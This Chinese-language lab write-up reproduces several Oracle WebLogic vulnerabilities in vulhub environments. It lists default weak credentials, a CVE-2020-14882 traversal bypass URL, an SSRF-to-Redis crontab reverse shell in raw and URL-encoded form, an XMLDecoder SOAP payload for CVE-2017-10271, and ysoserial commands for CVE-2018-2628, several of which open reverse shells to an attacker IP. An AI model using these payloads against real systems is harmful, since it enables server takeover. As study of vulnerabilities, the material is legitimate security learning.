weblogic漏洞复现学习

weblogic漏洞复现学习

简介

WebLogic Server是Oracle公司推出的一款基于Java的应用服务器，它提供了一个稳定可靠的平台，用于开发、部署和管理企业级Java应用程序。WebLogic Server是一种大规模、高可用性和高性能的应用服务器，广泛用于企业级应用的构建和部署。

WebLogic Server作为一款广泛使用的应用服务器，存在各种类型的漏洞

接下来我复现几个vulhub上有的漏洞

漏洞复现-弱口令

启动环境

访问

访问默认地址/console

弱口令登录

常见弱口令：

system:password weblogic:weblogic admin:secruity
joe:password mary:password system:sercurity
wlcsystem: wlcsystem weblogic:Oracle@123

成功登录到后台

任意文件上传漏洞（CVE-2018-2894）

环境搭建

部署环境

访问/ws_utc/config.do（未授权访问）

将当前工作目录设置为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

该目录是存放了ws_utc应用静态css样式的目录，而该目录的访问并不需要权限

点击左侧安全

漏洞利用

上传冰蝎马

打开冰蝎连接

路劲为http://you-ip/ws_utc/css/config/keystore/[时间戳]_[文件名]

复现成功

中途多踩坑

踩坑一：需要更改

踩坑二：时间戳

踩坑三：服务器环境不稳定重启多次才连接上webshell

未授权访问漏洞复现（CVE-2020-14882）

简介

Oracle WebLogic Server 远程代码执行漏洞 （CVE-2020-14882）POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限

影响版本

Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0

复现

访问环境/console

需要登录

未授权访问1

访问：

http://124.223.45.192:7001/console/images/%252E%252E%252Fconsole.portal

可以直接绕过登录认证进入后台管理系统

%252E%252E%252F我们url解码一下

需要二次解码

其实就是../console.portal目录穿越

未授权访问2

http://124.223.45.192:7001/console/css/%25%32%65%25%32%65%25%32%66console.portal

同理一个通过/image 一个是/css

工具利用

下载地址：Release WeblogicTool_1.3.jar · KimJun1010/WeblogicTool · GitHub

直接执行脚本

脚本地址：GitHub - backlion/CVE-2020-14882_ALL: CVE-2020-14882_ALL综合利用工具，支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能。

SSRF漏洞

环境搭建

靶机IP:124.223.45.192

漏洞原理

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等

正常用户访问网站的流程是：

输入A网站URL --> 发送请求 --> A服务器接受请求（没有过滤）处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL】

安全的网站应接收请求后，检测请求的合法性

产生的原因：服务器端的验证并没有对其请求获取图片的参数（image=）做出严格的过滤以及限制，导致A网站可以从其他服务器的获取数据

例如：www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码，不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器，但是服务器并没有检测这个请求是否合法的，然后服务器以这个请求中的身份来访问其他服务器的资源。

Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别，导致攻击者在没有获取到登录权限或未授权的情况下，对目标进行操作或者被信息泄露

Redis默认情况下，会绑定在0.0.0.0:6379，如果没有采用相关的策略，如配置防火墙规则避免其他非信任来源的IP访问，就会将Redis服务暴露在公网上；如果没有设置密码认证（一般为空）的情况下，会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

复现

访问漏洞存在点http://124.223.45.192:7001/uddiexplorer

启动yakit抓包

可以看到POST请求下有一个operator=httpxxx

选中url编码部分解码

不难看出是这一段URL，改为URL测试漏洞可利用性

可以看到响应包中存在回显，说明存在ssrf可以利用

从SSRF利用到Redis未授权访问

伪造服务器端发送请求，修改URL，探测内网，探测端口，如果指定端口开放则会返回带有404内容的提示（404：访问资源不存在，端口服务开放）

利用

先在服务器上找到Redis在docker容器内的IP地址

docker ps

docker exec -it 525c7b283344 “/bin/bash”

进入到docker

ifconfig

192.168.32.2:6379

修改参数访问192.168.32.2:6379

说明6379端口开放，可能存在未授权访问

从Redis未授权访问到Getshell

利用Redis未授权访问漏洞，反弹shell到攻击机终端

攻击机IP：121.5.69.117

开启监听

test

set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/121.5.69.117/6666 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上面进行URL编码拼接到Redis url后面

test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.5.69.117%2F6666%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa

成功浮现

CVE-2017-10271复现

漏洞信息

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。

漏洞触发位置：wls-wsat.war。

漏洞触发url：/wls-wsat/CoordinatorPortType（POST）。

漏洞本质：主要是由于wls组件使用了webservice来请求soap请求，所以通过构造SOAP(XML)格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞，可导致执行任意命令。

在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中，当localHeader1和localHeader2都不为null时，将会把work:WorkContext所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法。在此方法中，对WorkContextXmlInputAdapter类进行了实例化，并调用WorkContextXmlInputAdapter类的构造方法，通过XMLDecoder()进行反序列化操作。
这里的work:WorkContext是最关键的。

环境搭建

访问漏洞触发url

/wls-wsat/CoordinatorPortType

抓包

更改请求方式为POST

插入POC

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Header
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>

        <object class="java.io.PrintWriter">
       <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
            <void method="println">
                <string>
                    <![CDATA[
                        <% out.print("test"); %>
                    ]]>
            	</string>
            </void>
            <void method="close"/>
        </object></java></java>

​ </work:WorkContext>
</soapenv:Header>
soapenv:Body/
</soapenv:Envelope>

<soapenv:Envelope xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/”>
soapenv:Header
<work:WorkContext xmlns:work=“http://bea.com/2004/06/soap/workarea/”>




/bin/bash


-c


bash -i >& /dev/tcp/121.5.69.117/6666 0>&1





</work:WorkContext>
</soapenv:Header>
soapenv:Body/
</soapenv:Envelope>

yakit 响应包没反应

换了burp

还是不行…

第二天重新部署环境打还是没弹上

我就用工具检测一下环境

发现是存在的

CVE-2018-2628复现

漏洞基本情况

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞

基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI：远程方法调用(Remote Method Invocation)，能够在本地虚拟机上调用远端代码

环境搭建

漏洞检测

在kali终端上利用nmap

nmap -n -v -p 7001,7002 124.223.45.192 --script=weblogic-t3-info

检测到T3协议开启

在服务器上运行

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 6666 Jdk7u21 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjEuNS42OS4xMTcvNjY2NiAwPiYxCgoKCgoK}|{base64,-d}|{bash,-i}’

再开一个终端运行

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 121.5.69.117:6666 | xxd -p | tr -d $‘\n’ && echo

复制到poc.py的payload部分

在更改poc中靶机ip

在kali上运行

python2 weblogic_poc.py 192.168.175.129 7001 ysoserial-0.1-cve-2018-2628-all.jar

因为python2 所以就在kali上运行了